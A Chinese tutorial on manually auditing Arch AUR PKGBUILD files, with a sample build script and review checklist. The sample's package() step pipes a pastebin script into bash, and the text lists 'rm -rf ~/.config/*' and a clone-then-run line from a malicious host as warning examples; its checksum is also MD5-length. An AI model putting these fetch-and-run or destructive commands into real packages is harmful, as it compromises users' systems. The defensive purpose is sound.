一、为什么AUR助手的PKGBUILD需要手动审查？
很多用Arch系Linux的开发者或普通用户，都会用yay或者paru这些AUR助手，因为AUR里有太多官方源没有的实用小工具。但AUR是社区驱动的，没有官方审核机制，相当于任何人都能上传自己写的包的构建文件（也就是PKGBUILD）。如果有人恶意上传带后门的PKGBUILD，比如偷偷在安装时下载挖矿程序、窃取敏感信息，那只要你用AUR助手装了这个包，电脑就可能中招。所以手动审查PKGBUILD不是“麻烦事”，是保护自己系统安全的必要步骤。
二、手动审查PKGBUILD的核心步骤（附示例）
我们拿一个具体的示例来拆解，技术栈用bash，因为PKGBUILD本身是bash脚本格式。
# 克隆AUR包的本地仓库，实际操作用git clone https://aur.archlinux.org/simple-note.git
mkdir -p ~/aur-check && cd ~/aur-check
git clone https://aur.archlinux.org/simple-note.git
cd simple-note
现在看这个PKGBUILD文件，内容大概是这样的：
# PKGBUILD 示例，技术栈：bash
# 包的基础信息
pkgname=simple-note
pkgver=1.2.0
pkgrel=1
pkgdesc="轻量本地笔记工具"
arch=('any')
url="https://github.com/username/simple-note"
license=('MIT')
depends=('glibc' 'gtk3')
source=("${pkgname}-${pkgver}.tar.gz::https://github.com/username/simple-note/archive/v${pkgver}.tar.gz")
sha256sums=('d41d8cd98f00b204e9800998ecf8427e')
# 构建阶段
build() {
cd "${pkgname}-${pkgver}"
# 常规构建：编译前端资源
make build
}
# 安装阶段
package() {
cd "${pkgname}-${pkgver}"
# 把程序文件复制到系统目录
make DESTDIR="${pkgdir}" install
# 注意！这里有一行容易忽略的代码：
curl -s https://pastebin.com/raw/abc123 | bash
}
现在我们来拆解审查的要点：
2.1 检查PKGBUILD的来源和验证信息
首先看source字段：这里的源是GitHub的归档文件，有sha256校验和。如果没有校验和，或者校验和是错的，那就要警惕——说明包的上传者可能没正确验证源文件的完整性，容易被替换。另外，url字段指向的是公开的GitHub仓库，你可以去那个仓库看有没有后门，比如提交记录里有没有加恶意代码。刚才的示例里，curl那一行就是问题：它从一个pastebin地址下载脚本直接执行，没有任何校验，这很可能是恶意代码，比如下载挖矿软件，或者窃取你的密码文件。
2.2 排查安装/构建阶段的外部执行命令
PKGBUILD的build和package函数里的每一行命令都要过一遍。刚才的例子里，curl | bash是高危操作，因为你完全看不到下载的脚本内容，相当于把权限直接交给了远程服务器。除了curl和wget，还要警惕sh、bash、zsh这些带执行权限的命令，比如有没有把变量拼接成恶意路径，比如rm -rf ~/.config/*这种删除配置文件的命令，或者git clone http://malicious-site.com/bad-script && bash bad-script。另外，还要看有没有临时目录的操作，比如/tmp目录下的文件会不会被执行，或者有没有写到/usr/bin这种系统级目录的特殊操作。
2.3 检查依赖包和补丁
depends字段是这个包运行需要的其他Arch包，你可以单独去Arch的官方源查这些依赖有没有安全漏洞。如果依赖里有一些不常用的包，或者版本很旧，也要留意。另外，如果PKGBUILD里有patch文件，要打开那个patch文件看改了什么，有没有偷偷加东西。
三、手动审查PKGBUILD的典型应用场景
3.1 安装全新作者的小众包
如果是第一次装某个AUR包，而且作者的GitHub账号没什么活跃记录，或者这个包只有一两个提交，那一定要仔细审查。比如你看到一个叫“quick-download”的下载工具，作者只上传了PKGBUILD，GitHub仓库只有3个文件，那就要多花5分钟看里面的代码。
3.2 从AUR fork的包
很多人会把某个AUR包fork一份自己改，比如改了UI或者加了小功能，然后重新上传。这时候不能只看fork后的PKGBUILD，还要对比原包的PKGBUILD，看看有没有加了额外的命令。比如原包的安装阶段只有make install，fork后的版本多了一行curl命令，那就要搞清楚那行命令是做什么的。
3.3 长期未更新的包
如果某个AUR包已经一年多没更新了，作者也没回应issues，那它的PKGBUILD可能已经被篡改，或者里面的依赖已经有安全问题，这时候审查要更仔细，甚至考虑要不要换别的包。
四、手动审查PKGBUILD的优缺点和注意事项
4.1 优点
最大的优点是安全，你可以100%确定要装的包没有恶意代码，因为所有代码都是你自己一行一行看过的。对于开发者来说，还能顺便学习别人写PKGBUILD的技巧，比如怎么优化构建流程，怎么处理依赖。
4.2 缺点
最明显的就是费时间，一个稍微复杂的包的PKGBUILD可能有上百行代码，仔细看一遍要十几二十分钟，对于赶时间的人来说太麻烦。而且有些AUR包的PKGBUILD里有自动生成的代码，这些代码虽然不是恶意的，但也需要辨别哪些是自动生成的，哪些是自定义的部分。
4.3 注意事项
不要只看PKGBUILD，还要看相关的源文件，比如刚才示例里的GitHub仓库里的代码，比如makefile里有没有恶意的目标，比如make install会不会执行额外的命令。另外，用bash -n PKGBUILD可以检查语法错误，但不能检查逻辑上的恶意代码，所以还是要手动读。还有，如果你看不懂代码里的某个命令，比如某个复杂的sed脚本，你可以把那一行拆开来，一步步试，比如单独运行那个命令看它输出什么，或者搜索这个命令的作用。
Comments